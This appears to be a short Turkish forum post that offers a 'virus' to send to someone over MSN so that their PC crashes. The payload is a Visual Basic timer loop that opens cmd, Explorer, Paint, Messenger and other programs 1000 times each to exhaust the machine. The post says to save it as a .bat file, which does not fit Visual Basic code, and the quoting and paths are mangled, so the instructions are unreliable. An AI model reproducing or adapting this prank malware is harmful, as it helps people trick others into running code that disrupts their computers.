bunu not defterine kaydedip .bat uzantısını ekliyorsunuz.
olay şu: siz bu virüsü msn de birine attıktan sonra adamın pc çöküyo....
Private Sub Timer1_timer()
For i = 1 To 1000
Shell \cmd\
Shell \calc\
Shell \C:&l92;Program Files&l92;Messenger&l92;msmsgs.exe\
Shell \explorer\
Shell \mspaint\
Shell \sndrec32\
Shell \C:&l92;Program Files&l92;Movie Maker&l92;moviemk.exe\
Shell \winmine\
Next
End Sub